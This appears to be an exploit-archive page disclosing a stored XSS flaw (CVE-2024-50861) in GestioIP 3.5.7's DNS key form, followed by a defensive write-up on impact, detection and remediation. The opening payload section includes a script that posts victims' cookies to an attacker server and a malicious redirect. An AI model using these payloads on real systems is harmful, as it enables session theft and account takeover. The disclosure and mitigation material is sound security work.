GestioIP 3.5.7 - Stored Cross-Site Scripting (Stored XSS)

Exploit Author: Maximiliano Belino Analysis Author: www.bubbleslearn.ir Category: Remote Language: Unknown Published Date: 2025-04-14

# Exploit Title: GestioIP 3.5.7 - GestioIP Vulnerability: Auth. Stored Cross-Site Scripting
# Exploit Author: m4xth0r (Maximiliano Belino)
# Author website: https://maxibelino.github.io/
# Author email: max.cybersecurity at belino.com
# GitHub disclosure link: https://github.com/maxibelino/CVEs/tree/main/CVE-2024-50861
# Date: 2025-01-13
# Vendor Homepage: https://www.gestioip.net/
# Software Link: https://www.gestioip.net/en/download/
# Version: GestioIP v3.5.7
# Tested on: Kali Linux
# CVE: CVE-2024-50861

### Description

The http://localhost/gestioip/res/ip_mod_dns_key_form.cgi feature of GestioIP 3.5.7 is vulnerable to Stored XSS. An authenticated attacker with appropriate permissions can inject malicious code into the tsig_key form field and save it to the database. Once saved, any user who accesses the "DNS Key" page will trigger the Stored XSS, leading to the execution of malicious code.

### Prerequisites

1. Enable "DNS Key" Feature
First, ensure that "Dynamic DNS updates" is enabled in the global configuration:

Manage > Manage GestioIP > Global Configuration > Dynamic DNS updates enabled: yes

This will enable the following menus:

    Manage > DNS Keys
    Manage > DNS Update User

2. Create a DNS Key Entry

To create a new DNS key entry and also edit an existing one, the user must belong to a group with the "Manage Sites And Categories" permission. By default, "Admin" and "GestioIP Admin" groups have this permission.

Also, you can configure this permission to any group under:

Manage > User Groups > Manage Sites and Categories

3. Enter payload.

Once group permission is set, input one of the following payloads into the "TSIG Key" (tsig_key) field and save it.


### Payloads

1 - Test basic XSS

<script>alert("test")</script>


2 - Send data (cookies) to the attacker's server

<svg/onload="fetch('http://10.20.0.1:8000/steal_data',{method:'POST',body:document.cookie})">


3 - Redirect the user to a malicious site

<svg/onload="window.location='http://10.20.0.1:8090/malicious_page.html'">

GestioIP 3.5.7 — Stored Cross‑Site Scripting (CVE‑2024‑50861): Technical Overview, Impact, and Remediation

This article explains the stored cross‑site scripting (Stored XSS) class vulnerability reported against GestioIP 3.5.7 (CVE‑2024‑50861), outlines its impact and likely attack scenarios, and provides practical, defensive guidance for administrators, developers, and security teams. The content focuses on safe, non‑actionable mitigations, detection strategies, and secure coding best practices to remove and prevent XSS vulnerabilities going forward.

Summary

Vulnerability class: Stored Cross‑Site Scripting (Stored XSS)
Affected product: GestioIP 3.5.7 (reported as CVE‑2024‑50861)
Impact: Persistent injection of arbitrary HTML/JavaScript into application pages viewed by other authenticated users; can lead to session theft, account takeover, unauthorized actions, and persistent malware redirects
Prerequisites for exploitation: An authenticated user with permissions to create or edit the affected DNS key entries (permissions management is typically handled via the application’s user group settings)

What is Stored XSS and why it matters

Stored XSS occurs when user-supplied content is persisted on the server (for example, in a database) and later rendered into web pages without proper output encoding or input restrictions. Because the payload is stored, any other user who views the affected page will execute the malicious payload in their browser context (same origin), enabling cookie theft, token exfiltration, forced actions, or stealthy malicious behavior.

Typical attack scenarios

A user with write permissions stores malicious markup in a persistent field. An administrator or other privileged user later opens the management page and triggers the payload.
An attacker targets a high‑privilege group member with social engineering to induce them to view the affected page, then uses the persistent payload to escalate access.
Malicious code exfiltrates session cookies or CSRF tokens, enabling account takeover or automated change operations in the application.

Responsible testing and disclosure

If you are an administrator or security tester, perform any verification in a controlled environment (local/dev instance or isolated lab) and never test live production systems without authorization. For public reports, follow the vendor’s disclosure procedures or coordinate through a vulnerability disclosure program.

Detection, Forensics, and Safe Proofs

Detection approaches

Search persisted records for unexpected HTML tags or script-like constructs in fields that are normally data-only. Focus on UI fields that are rendered directly into HTML pages.
Use automated scanners (for example OWASP ZAP, Burp Suite) to identify stored reflection/DOM injection points — run them only on authorized systems.
Inspect application logs and webserver access logs for anomalous requests that created or updated persistent entries.

Safe proof‑of‑concept (non‑destructive)

To prove persistence without executing harmful JavaScript in other user browsers, use inert markers that will not run as scripts when rendered. For example, store a distinct text marker (no angle brackets) and verify it appears on the target page. This demonstrates persistence but avoids executing JavaScript in other users’ contexts.

Remediation and Immediate Mitigations

Priority actions for administrators

Apply vendor patches and updates as soon as a vendor patch or newer safe version is available.
If a patch is not yet available, temporarily restrict access: only allow trusted administrators to the feature or disable the feature (e.g., Dynamic DNS / DNS Key management) until fixed.
Review and restrict group permissions: ensure only absolutely necessary groups/users have the "manage" permissions required to create/edit the affected fields.
Enable or strengthen Content Security Policy (CSP) to reduce impact of injected scripts (defense-in-depth, not a replacement for fixing the root cause).
Harden session cookies: set HttpOnly and Secure attributes and consider SameSite to reduce risk of client-side theft via injected scripts.

Sanitizing existing data

Where stored entries may contain malicious markup, perform a careful audit and cleanup. Export the relevant records to a secure environment, inspect and sanitize the fields, and re-import safe values. Avoid executing or rendering suspect content in administrative browsers during this process.

Secure Coding and Design Countermeasures

High‑level principles

Never trust client input. Assume any data might contain markup or scripts.
Apply output encoding when rendering data into HTML contexts (HTML body, attributes, JavaScript contexts, URL contexts have distinct encoding rules).
Implement server‑side validation with conservative whitelists for fields with predictable formats.
Adopt defense‑in‑depth: combine input validation, output encoding, HTTP headers (CSP, X-Content-Type-Options), and least privilege.

Example: output encoding in PHP (safe HTML rendering)

<?php
// Assume $tsig_key comes from the database and will be shown in an HTML page.
// Use proper HTML encoding to prevent HTML/JS injection:
echo htmlspecialchars($tsig_key, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, 'UTF-8');
?>

Explanation: htmlspecialchars converts characters that have special meaning in HTML (<, >, ", ', etc.) into HTML entities so they are rendered as text rather than parsed as markup. ENT_QUOTES ensures both single and double quotes are escaped. Always specify UTF‑8 and use replacements for invalid sequences.

Example: strict server‑side whitelist validation

// Pseudocode / language‑agnostic example for a field which must contain only base64-like characters:
if (!preg_match('/^[A-Za-z0-9+=\/-]+$/', $submitted_value)) {
    reject("Invalid characters in key value");
}

Explanation: When a field has an expected format (for example a key or token), enforce a strict allowed-character set on the server before storing. Reject or normalize any input that does not conform. Do not rely on client‑side validation only.

Example: Content Security Policy header

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; frame-ancestors 'none';

Explanation: A CSP like the example restricts where scripts can be loaded from and reduces impact when untrusted markup is present. It does not replace proper output encoding, but it is a useful mitigation layer.

Operational Checklist for Administrators

Task	Notes
Apply vendor patch	Update GestioIP to the vendor-provided patched release as soon as available.
Restrict feature access	Disable dynamic DNS/DNS key features if not used; tighten group permissions.
Audit persisted entries	Export DNS key and related records; search for unexpected markup and sanitize.
Harden HTTP headers	Implement CSP, X-Content-Type-Options: nosniff, and secure cookie flags.
Incident response	Identify any account compromise resulting from the vulnerability; reset affected credentials and reissue tokens.
Developer remediation	Implement encoding/validation fixes and add automated tests for XSS scenarios.

Testing and Continuous Improvement

After fixing, include stored XSS checks in your CI security tests and regression suite. Create unit tests that ensure fields that are stored and later displayed are rendered encoded. Use automated scanners in staging environments and perform periodic manual reviews for high‑risk management pages.